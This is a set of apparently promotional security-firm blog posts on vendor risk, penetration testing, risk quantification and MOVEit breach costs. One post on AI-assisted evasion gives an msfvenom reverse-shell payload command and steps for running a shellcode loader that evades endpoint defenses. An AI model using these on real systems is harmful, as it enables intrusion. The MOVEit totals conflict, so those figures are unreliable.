In today’s interconnected business environment, organizations increasingly rely on third-party vendors to deliver everything from cloud infrastructure to payroll services. This reliance brings great responsibility and significant risk. That’s where third-party risk management (TPRM) becomes essential. However, a vital fact that many organizations overlook is that obtaining vendor documentation does not mean due diligence is complete; it is merely the initial step.
The Documentation Trap
When evaluating a potential vendor, companies usually request documentation such as security certifications, audit reports, policy documents, and compliance attestations. Many vendors are willing to provide these materials, and procurement teams often just check the box once the files arrive in their inbox.
This approach creates a dangerous illusion of security.
A certificate does not verify how controls are implemented. A policy document does not ensure that the policies it describes are followed. An audit report from six months ago might not reflect the current security state. Without verifying the evidence behind these documents, organizations are essentially making risk decisions based on promises rather than proof.
What Proper Evidence Validation Looks Like
True due diligence involves more than just collecting documents; it requires verifying evidence. This includes examining:
Relevance of Work: Does the vendor’s security program truly cover the services they will provide? A vendor with strong data center security may have weaker application security practices if they are developing software for you; that gap is significant.
Appropriate Policies and Procedures: Are the documented policies aligned with industry standards and relevant regulatory requirements for your organization? More importantly, are there supporting procedures that show how these policies are put into practice in daily operations?
Yes, proper evidence validation takes time. It requires technical skill to interpret audit reports, security frameworks, and control documentation. It also demands patience to ask for clarifications and follow up on gaps. But this investment demonstrates genuine due diligence. More importantly, it fosters risk-based decision-making. By identifying vendor cyber control strengths and weaknesses early on, organizations can:
Make informed go/no-go decisions about vendor relationships
Address identified weaknesses during contract negotiations
Establish appropriate service level agreements and remediation timelines
Build realistic risk acceptance cases for leadership approval
When Internal Resources Fall Short
Not every organization has the capacity or expertise to conduct thorough evidence validation. Security teams are often overwhelmed, and TPRM programs require specialized knowledge of frameworks like SOC 2, ISO 27001, NIST, and industry-specific regulations.
This is where Stern Security comes in.
We provide evidence-based third-party risk management services designed for organizations that lack the internal expertise or resources to conduct thorough due diligence. Our approach verifies vendor documentation against real-world security standards, identifies control gaps before contracts are signed, and assists your team in negotiating stronger security terms.
The Bottom Line
Third-party risk cannot be completely outsourced, but you do not have to handle it alone. Whether you are growing an existing TPRM practice or starting one from scratch, Stern Security can help ensure your vendor relationships are based on validated evidence, not just paperwork.
In risk management, the difference between a secure partnership and a costly breach often comes down to what happens after you receive the initial documentation.
Ready to strengthen your third-party risk program? Contact Stern Security to discuss how our evidence validation services can support your organization’s security objectives.
Organizations face ongoing cyber threats, but many are unsure if their security testing improves their defenses. A common source of confusion is the difference between a vulnerability scan and a penetration test.
Although both are critical security techniques, they serve different purposes. Unfortunately, vulnerability scans are sometimes marketed as penetration tests, which can mislead organizations, increase costs, and give a false sense of security.
A vulnerability scan is typically an automated process that identifies known weaknesses in systems, applications, and network devices. Scanning tools compare the systems against databases of known vulnerabilities and produce reports highlighting potential problems such as missing patches, outdated software, or common misconfigurations. Because this process is mostly automated, vulnerability scans are relatively low-cost and can be run frequently. They are a crucial part of routine cybersecurity practices, but they do not demonstrate how an attacker might actually exploit those vulnerabilities.
The penetration test goes much further. A true penetration test mimics the techniques used by real attackers. Skilled security professionals manually analyze systems, verify vulnerabilities, and attempt to exploit them to determine how far an attacker could move within an environment. Instead of just listing vulnerabilities, a penetration test demonstrates the real-world impact by revealing whether weaknesses can be combined, whether sensitive systems can be accessed, and whether existing controls can detect or stop an attack.
A penetration test is not about criticizing an organization or making clients uncomfortable. Instead, it’s a collaborative effort in which we work with your team to identify security gaps and improve your defenses together. When approached as a partnership, penetration testing becomes a productive process that builds trust, boosts your security posture, and helps develop your overall cybersecurity program.
Vulnerability Scan vs Penetration Test
Organizations evaluating a penetration testing provider should focus on several key factors to ensure the engagement delivers meaningful results.
Five Questions to Ask Before Hiring a Penetration Testing Firm
1. What will the final report look like?
A thorough penetration test report should include an executive summary, technical findings, proof of exploitation, and clear remediation guidance. Always request a sample report before hiring a firm.
2. What methodology do you follow?
Professional testers should adhere to structured and recognized testing frameworks. This guarantees testing remains consistent, repeatable, and aligned with industry standards.
3. How will the testing scope be established?
The scope should clearly specify which systems, applications, or networks will be tested, along with the techniques to be used. A well-defined scope protects business operations and ensures testing addresses significant risks.
4. Who will conduct the testing, and what experience do they have?
Penetration testing demands highly skilled professionals. Organizations should verify the qualifications and experience of testers performing the work and, when appropriate, request references.
5. How will communication happen during the engagement?
Effective penetration testing relies on:
Collaboration
A dependable testing partner to provide regular updates
Answers questions from internal teams
And clearly explains findings so organizations can learn from the results
Organizations should also understand the limitations of automated penetration testing tools. Security automation has advanced significantly, enabling these tools to identify common vulnerabilities across large environments quickly. However, automated tools cannot fully imitate the creative thinking of skilled attackers.
Automated tools often struggle to:
Combine vulnerabilities
Detect business logic flaws, or bypass layered security controls
Therefore, automated testing works best when used alongside manual penetration testing instead of replacing it.
A well-conducted penetration test should do more than just list vulnerabilities.
It should demonstrate how weaknesses can be exploited, identify gaps in current controls, and offer a clear plan to improve security.
At Stern Security, our penetration testing services are designed to identify real-world attack paths and strengthen organizations’ cybersecurity defenses. Our experienced team combines automated tools with human analysis to demonstrate how attackers could exploit systems and how these risks can be mitigated.
Recently, the Stern Security penetration testing team faced a challenge: bypassing some of the toughest enterprise security defenses available today. Among them was a product that claims 100% MITRE ATT&CK detection, protection, and prevention. Another claimed its multi-layered defensive strategy of pattern matching, behavior monitoring, networking access control lists and sandboxing could detect and prevent malware, Finally an EDR solution paired with “Next-Gen” Antivirus (NGAV).
Dubbing the attack “The Cyborg Bypass,” the Stern Security team used artificial intelligence (AI) to help create a custom loader executable. Combined with a default shellcode payload, this allowed us to successfully evade multiple layers of security—including SIEM, XDR, EDR, and AV solutions from major vendors.
The Security Landscape
Modern enterprises utilize layered security defenses. SIEM platforms collect, analyze and correlate logs to spot threats, trigger alerts and kickoff automation. XDR solutions provide comprehensive monitoring across devices and networks, and antivirus/EDR tools scan for known malware and suspicious behaviors and respond.
Common penetration testing payloads from tools like Metasploit and Cobalt Strike usually don’t stand a chance. Defenders have seen them a thousand times, and things like static signatures, behavior-based rules, or sandboxing catch them fast. This makes evasion a real challenge, even if you’re doing everything right.
Leveraging AI to Build a Custom Loader
To get around these defenses, the Stern Security penetration testing team used AI to help build a lightweight custom loader—we’ll call it loader.exe. This loader takes a raw, default shellcode payload (shellcode.bin) straight from disk—no obfuscation, no encryption—and executes it directly in memory. Instead of launching a typical executable payload, it keeps things simple and stealthy, avoiding many of the patterns that security tools are trained to detect.
Proof of Concept (POC)
The loader’s core function is to read the shellcode file into memory and execute it using Windows API calls – loader.cpp:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=8080 --platform windows -a x64 -f raw -o shellcode.bin
Deployment Process
Generate raw shellcode payload, we’ve tested both default MSF Venom and Cobalt Strike payloads – saved as shellcode.bin.
Compile the loader executable as above.
Transfer both loader.exe and shellcode.bin to the target machine.
Start the C2 listener.
Execute loader.exe on the target – This will load and run the shellcode in memory.
Establish a stealthy command and control (C2) connection, bypassing SIEM, XDR, and AV.
Understanding Execution and Disk Presence
During this process both the loader (loader.exe) and shellcode (shellcode.bin) are present on the target’s disk during runtime. While the shellcode exists as a file, it’s never executed directly. Instead, the loader reads contents of the shellcode file into memory and executes it from there. This method completely bypasses monitoring of traditional executable file formats.
This approach lowers the chance of detection, since many security tools prioritize monitoring for suspicious executables and process behavior—not just the presence of a file on disk. Surprisingly, even this simple technique was enough to slip past advanced defenses.
Key Takeaways
AI is quickly becoming a powerful asset in offensive security—not just for crafting exploits, but for evading detection altogether. To keep up, defenders should:
Don’t rely solely on signature-based detection: Traditional AV and even many “Next-Gen” tools often miss custom loaders and raw shellcode that don’t match known patterns.
Strengthen endpoint visibility: Ensure EDR/XDR solutions are configured to log and alert on suspicious in-memory execution—even when no binary is dropped.
Harden systems against loader-style malware: Monitor for uncommon API usage (like VirtualAlloc + execution), and block execution from temporary or user-controlled directories
Conclusion
The blend of AI-assisted tooling and custom payload loaders is raising the stakes for both attackers and defenders. Our ability to bypass enterprise-grade defenses—many of which claim to be impenetrable—highlights just how urgently cybersecurity needs to evolve.
Want to know how your defenses would hold up? Reach out to the Stern Security team to explore your current security posture and learn how real-world testing can help you stay ahead of advanced threats.
On July 10th, 2025, Stern Security‘s Founder & CEO, Jon Sternstein spoke to financial organizations at the Carolinas Credit Union League event. Jon Sternstein discussed the essentials of quantifying cyber risk in the age of AI threats. The world is rapidly evolving and there are numerous way to conduct cyber risk quantification and business impact analysis activities to speak the language of the business.
Presentation Abstract
“Love, Lies, and Ledger Sheets: Quantifying Cyber Risk in the Age of AI Threats” by Jon Sternstein
“In a world where artificial intelligence can mimic your voice and craft malware that slips past traditional defenses, cybersecurity is no longer about counting vulnerabilities—it’s about understanding business risk. Join Stern Security’s Founder & CEO, Jon Sternstein, as he unveils the evolving threat landscape through real-world stories (starting with a romance you won’t forget), and makes the case for why credit unions must shift from legacy reporting to actionable cyber risk quantification. Plus, a light look at global tensions and what they could mean for your cyber defenses.”
Conclusion
The presentation went into details about modern threats (AI deception threats, romance scams, gift card scams, wire transfer attacks, hacking incidents) in addition to proven solutions. Jon discussed various methodologies to quantify risk from simple to advanced options. Stern Security’s Velocity platform automates the cyber quantification needed to translate the security risk into business terminology and quickly help make security teams successful. The presentation include engaging true stories, laughs, “wow” factors, and audience participation cyber challenges. The credit unions left the event inspired and armed with the tools they need to increase their security posture to the next level.
On November 8th, 2024, the Raleigh ISSA Chapter hosted the Triangle InfoSeCon event, the largest cybersecurity event in North Carolina. Stern Security‘s Founder & CEO, Jon Sternstein gave a presentation titled “Effective Cyber Risk Quantification”.
Cyber risk quantification (CRQ) is often described as the process assessing the likelihood and impact of cybersecurity risks and scoring vulnerabilities or tying risks to financials. In the presentation, Jon Sternstein made the case that CRQ really comes down to translating cyber risk into business terms. Furthermore, the most effective means of quantifying risk can vary drastically between industries, companies, and individual recipients of the message. There are many methods of cyber risk quantification with varying levels of difficulty including, but not limited to, using breach reports to understand likelihood and financial impact, reviewing data breach and data mis-use fines from regulatory bodies, and the FAIR methodology.
The presentation detailed three true cyber risk quantification stories that Jon Sternstein experienced in his career. The first story was about implementing security initiatives in a healthcare organization. While the initial strategy had great reasons for deploying the various initiatives, they gained the most traction when the risks were tied to financial terms that the executives connected with. The breach numbers from the Ponemon report were used as a basis for the cyber risk quantification.
The second story involved a manufacturing company where the executives were not as concerned with the cost of records lost, but they were very concerned with the amount of downtime that the manufacturing plant could have experienced with a cyber incident.
The Stern Security presentation discussed how cyber risk quantification often tends to be focused on the “confidentiality” of data as a basis. However, there are three pillars of cybersecurity: Confidentiality, Integrity, and Availability. Cyber Risk Quantification should focus on all three pillars and certain pillars may be more important for certain industries or companies.
The final story involved quantifying the risk of a romance scam where the victim lost thousands of dollars. Simply stating that it was a scam had minimal impact on the victim during the incident, but discussing the dollars lost over time and the personal information exposed had the most impact.
Cyber Risk Quantification (CRQ) is essential for getting cybersecurity initiatives deployed and for adding the most value to an organization. As The Stern Security presentation stated, Cyber Risk Quantification is really the process of translating cyber risk into language that the business understands. Cybersecurity leaders should understand the priorities of the individuals who they are presenting to in order to quantify cyber risk accordingly and get strategies and budgets approved.
In 2023, Progress Software’s MOVEit file transfer application was the source of a dangerous zero-day vulnerability. Criminals that exploited this vulnerability were able to gain full access to the files on MOVEit servers. The research from Stern Security’s 2024 healthcare breach report showed that this MOVEit breach was the cause of 25.9% of the protected health information (PHI) lost last year. Quantifying the MOVEit 0-day’s impact on healthcare is essential to understanding the full extent of this vulnerability.
MOVEit Incident
Progress Software announced the critical vulnerability in their MOVEit software on May 31, 2023. Unfortunately, there was evidence that this vulnerability was already exploited by at least May 27, 2023. Eventually the Cl0p ransomware group claimed responsibility for this incident. The first healthcare breach due to the MOVEit 0-day was announced on June 11, 2023, and the last was on December 8, 2023. According to the 2024 Ponemon Data Breach report, the average number of days to discover a data breach was 258 days which makes it easier to understand why healthcare MOVEit breaches were still being reported so late in the year (192 days later).
Quantifying the Impact
By the end of the 2023, there were 42 healthcare breaches attributed to the MOVEit vulnerability. Thirty-one (31) of these breaches were from third-parties (business associates of the healthcare organization) and eleven (11) occurred at covered entity locations (healthcare organizations). These 42 breaches resulted in the exposure of 41,380,105 protected health information (PHI) records. While there were 708 total reported healthcare breaches last year, the 42 MOVEit breaches accounted for 25.9% of the PHI exposed!
Third-parties have a significant impact on breach costs. According to the 2024 Ponemon Breach Report, a third-party breach increases the breach cost by an average of $240,599. In 2023, most (73.8%) of the healthcare MOVEit breaches lost were from a third-party!
To quantify this impact, we will multiply the average breach cost in healthcare ($9,770,000) and 42 breaches attributed to this incident to get $410,430,000.
42 breaches x 9,770,000 = $410,340,000
The results show us that the MOVEit breach cost an estimated $410 million in losses! To put this number in prospective, this is roughly the amount that FEMA (Federal Emergency Management Agency) allocated to Puerto Rico’s recovery efforts from Hurricane Maria ($412 million). While this was a digital disaster as opposed to a natural disaster, the dollars figures were comparable.
Solutions to Reduce Risk
There are numerous protective measures that organizations can do to reduce the risk of another “MOVEit” incident.
Risk Analysis – Every organization should perform a thorough risk analysis to understand the organization’s susceptibility to the latest threats.
Patching – Immediately patch critical vulnerabilities, especially if the assets are exposed or contain sensitive information. In the case of MOVEit systems, these file transfer servers are generally exposed to the internet so immediately patching a critical flaw is essential.
Minimize Data – Organizations should only store the data necessary to complete their tasks. Once the data is no longer needed, secure store or dispose of the data. On file transfer servers such as MOVEit, organizations should immediately remove the transferred data after the use. The MOVEit servers should not be treated similar to file storage systems that permanently store data.
Penetration Testing – Controls should be tested for effectiveness in comprehensive penetration testing engagements.
Vulnerability Scanning – Vulnerability scanners should discover unpatched systems. Externally exposed systems such as file transfer servers should be scanned more frequently.
Limit Access – If a server does not need to be accessible to the entire internet, then limit access to the necessary sources and destinations. Firewall rules can greatly reduce the threat exposure of a system.
Third-Party Risk Management (TPRM)– Most of the MOVEit breaches involved third parties. It is critical to perform accurate third-party risk management especially if your third-parties have access to sensitive data such as Protected Health Information (PHI).
Conclusion
The MOVEit 0-day vulnerability was one of the most impactful vulnerabilities of all time. It cost the healthcare industry an estimated $410 million and exposed 41,380,105 protected health information (PHI) records. The financial impact is similar to the amount that FEMA allocated to Puerto Rico’s recovery efforts from Hurricane Maria. Performing cyber risk quantification on incidents provides the opportunity to show business impact in financial terms which is of the upmost importance to leadership. Utilizing quantifiable data can help organizations obtain the resources needed to protect their organizations.
Bibliography
Cost of a Data Breach Report 2024. (2024). Retrieved from IBM.com: https://www.ibm.com/reports/data-breach
FEMA Awards More than $412 Million in Additional Federal Grants for Puerto Rico. (2018, September 12). Retrieved from FEMA.gov: https://www.fema.gov/press-release/20230502/fema-awards-more-412-million-additional-federal-grants-puerto-rico
